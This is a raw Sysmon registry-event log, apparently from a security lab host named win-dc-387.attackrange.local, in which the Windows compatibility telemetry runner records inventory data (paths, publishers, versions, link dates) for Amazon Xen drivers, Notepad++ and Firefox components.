14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenfilt.sys|5ed52abf02907bc4\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenbus\xenfilt.sys 13241300x800000000000000037951Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xendisk.sys|eea975986c3a667d\BinProductVersion8.4.0.11 13241300x800000000000000037950Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xendisk.sys|eea975986c3a667d\LinkDate01/12/2021 17:17:43 13241300x800000000000000037949Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xendisk.sys|eea975986c3a667d\Publisheramazon inc. 13241300x800000000000000037948Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xendisk.sys|eea975986c3a667d\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvbd\xendisk.sys 13241300x800000000000000037947Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xencrsh.sys|b42c374052fc1b77\BinProductVersion8.4.0.11 13241300x800000000000000037946Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xencrsh.sys|b42c374052fc1b77\LinkDate01/12/2021 17:17:19 13241300x800000000000000037945Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xencrsh.sys|b42c374052fc1b77\Publisheramazon inc. 13241300x800000000000000037944Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xencrsh.sys|b42c374052fc1b77\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvbd\xencrsh.sys 13241300x800000000000000037943Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenbus.sys|e7523a385fe94ef1\BinProductVersion8.3.0.7 13241300x800000000000000037942Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenbus.sys|e7523a385fe94ef1\LinkDate02/12/2021 02:15:52 13241300x800000000000000037941Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenbus.sys|e7523a385fe94ef1\Publisheramazon inc. 13241300x800000000000000037940Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xenbus.sys|e7523a385fe94ef1\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenbus\xenbus.sys 13241300x800000000000000037939Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xen.sys|67bb7edc45be100\BinProductVersion8.3.0.7 13241300x800000000000000037938Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xen.sys|67bb7edc45be100\LinkDate02/12/2021 02:15:39 13241300x800000000000000037937Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xen.sys|67bb7edc45be100\Publisheramazon inc. 13241300x800000000000000037936Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\xen.sys|67bb7edc45be100\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenbus\xen.sys 13241300x800000000000000037935Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\liteagent.exe|9ddbd66af55387\BinProductVersion8.2.7.5 13241300x800000000000000037934Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\liteagent.exe|9ddbd66af55387\LinkDate12/16/2019 19:58:07 13241300x800000000000000037933Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\liteagent.exe|9ddbd66af55387\Publisheramazon inc. 13241300x800000000000000037932Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\liteagent.exe|9ddbd66af55387\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xeniface\liteagent.exe 13241300x800000000000000037931Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|e98c683d63883b7\BinProductVersion2.1.0.0 13241300x800000000000000037930Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|e98c683d63883b7\LinkDate05/23/2009 10:37:17 13241300x800000000000000037929Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|e98c683d63883b7\Publishermicrosoft corporation 13241300x800000000000000037928Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|e98c683d63883b7\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvif\dpinst.exe 13241300x800000000000000037927Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|d085d8f0649b17ca\BinProductVersion2.1.0.0 13241300x800000000000000037926Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|d085d8f0649b17ca\LinkDate05/23/2009 10:37:17 13241300x800000000000000037925Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|d085d8f0649b17ca\Publishermicrosoft corporation 13241300x800000000000000037924Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|d085d8f0649b17ca\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xennet\dpinst.exe 13241300x800000000000000037923Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|c91633581a81cffd\BinProductVersion2.1.0.0 13241300x800000000000000037922Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|c91633581a81cffd\LinkDate05/23/2009 10:37:17 13241300x800000000000000037921Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|c91633581a81cffd\Publishermicrosoft corporation 13241300x800000000000000037920Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|c91633581a81cffd\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenbus\dpinst.exe 13241300x800000000000000037919Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|40221a38c568eb82\BinProductVersion2.1.0.0 13241300x800000000000000037918Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|40221a38c568eb82\LinkDate05/23/2009 10:37:17 13241300x800000000000000037917Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|40221a38c568eb82\Publishermicrosoft corporation 13241300x800000000000000037916Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|40221a38c568eb82\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xenvbd\dpinst.exe 13241300x800000000000000037915Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|1e846670f76471a8\BinProductVersion2.1.0.0 13241300x800000000000000037914Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|1e846670f76471a8\LinkDate05/23/2009 10:37:17 13241300x800000000000000037913Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|1e846670f76471a8\Publishermicrosoft corporation 13241300x800000000000000037912Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\dpinst.exe|1e846670f76471a8\LowerCaseLongPathc:\program files\amazon\xentools\.drivers\xeniface\dpinst.exe 13241300x800000000000000037911Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:15.011{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000ecb9837aa96085e95a514805c6e0a2b900000904\PublisherAmazon Web Services 13241300x800000000000000037910Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.683{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000c27c9fa19b318e2f294a4ee09334849d00000904\PublisherMicrosoft Corporation 13241300x800000000000000037909Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|bd4762a4deb0ebdc\BinProductVersion8.1.4.0 13241300x800000000000000037908Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|bd4762a4deb0ebdc\LinkDate12/15/2018 22:24:36 13241300x800000000000000037907Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|bd4762a4deb0ebdc\Publisherdon ho don.h@free.fr 13241300x800000000000000037906Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|bd4762a4deb0ebdc\LowerCaseLongPathc:\program files\notepad++\uninstall.exe 13241300x800000000000000037905Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\notepad++.exe|9b63189e96115672\BinProductVersion8.1.4.0 13241300x800000000000000037904Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\notepad++.exe|9b63189e96115672\LinkDate08/21/2021 11:09:03 13241300x800000000000000037903Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\notepad++.exe|9b63189e96115672\Publisherdon ho don.h@free.fr 13241300x800000000000000037902Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\notepad++.exe|9b63189e96115672\LowerCaseLongPathc:\program files\notepad++\notepad++.exe 13241300x800000000000000037901Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gup.exe|eaab466dc417ed01\BinProductVersion5.2.0.0 13241300x800000000000000037900Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gup.exe|eaab466dc417ed01\LinkDate05/17/2021 17:20:17 13241300x800000000000000037899Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gup.exe|eaab466dc417ed01\Publisherdon ho don.h@free.fr 13241300x800000000000000037898Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\gup.exe|eaab466dc417ed01\LowerCaseLongPathc:\program files\notepad++\updater\gup.exe 13241300x800000000000000037897Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.605{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\000054df8d81ee28acba540d25903571f45c0000ffff\PublisherNotepad++ Team 13241300x800000000000000037896Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|c3a2a248a1867c34\BinProductVersion1.0.0.0 13241300x800000000000000037895Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|c3a2a248a1867c34\LinkDate12/11/2016 21:50:55 13241300x800000000000000037894Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|c3a2a248a1867c34\Publishermozilla corporation 13241300x800000000000000037893Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\uninstall.exe|c3a2a248a1867c34\LowerCaseLongPathc:\program files (x86)\mozilla maintenance service\uninstall.exe 13241300x800000000000000037892Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|f537de1e8599ad9d\BinProductVersion92.0.0.7916 13241300x800000000000000037891Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|f537de1e8599ad9d\LinkDate09/04/2021 01:12:55 13241300x800000000000000037890Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|f537de1e8599ad9d\Publishermozilla foundation 13241300x800000000000000037889Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\maintenanceservi|f537de1e8599ad9d\LowerCaseLongPathc:\program files (x86)\mozilla maintenance service\maintenanceservice.exe 13241300x800000000000000037888Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplication\0000d8b5a39e300d252203eba88dad4b9b8f0000ffff\PublisherMozilla 13241300x800000000000000037887Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\updater.exe|c1b2e9c223e636df\BinProductVersion92.0.0.7916 13241300x800000000000000037886Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\updater.exe|c1b2e9c223e636df\LinkDate09/04/2021 01:12:24 13241300x800000000000000037885Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\updater.exe|c1b2e9c223e636df\Publishermozilla foundation 13241300x800000000000000037884Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\updater.exe|c1b2e9c223e636df\LowerCaseLongPathc:\program files\mozilla firefox\updater.exe 13241300x800000000000000037883Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\plugin-container|bff6e47ff7f94db5\BinProductVersion92.0.0.0 13241300x800000000000000037882Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-CompileTimeClaimSetValue2021-09-10 14:42:14.589{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\plugin-container|bff6e47ff7f94db5\LinkDate09/04/2021 01:22:57 13241300x800000000000000037881Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PubSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\plugin-container|bff6e47ff7f94db5\Publishermozilla corporation 13241300x800000000000000037880Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-PathSetValue2021-09-10 14:42:14.574{7BD73061-6EB6-613B-1907-00000000F001}6620C:\Windows\system32\compattelrunner.exe\REGISTRY\A\{1a038503-3218-d821-aac7-04bc27d90010}\Root\InventoryApplicationFile\plugin-container|bff6e47ff7f94db5\LowerCaseLongPathc:\program files\mozilla firefox\plugin-container.exe 13241300x800000000000000037879Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localInvDB-VerSetValue2021-09-10 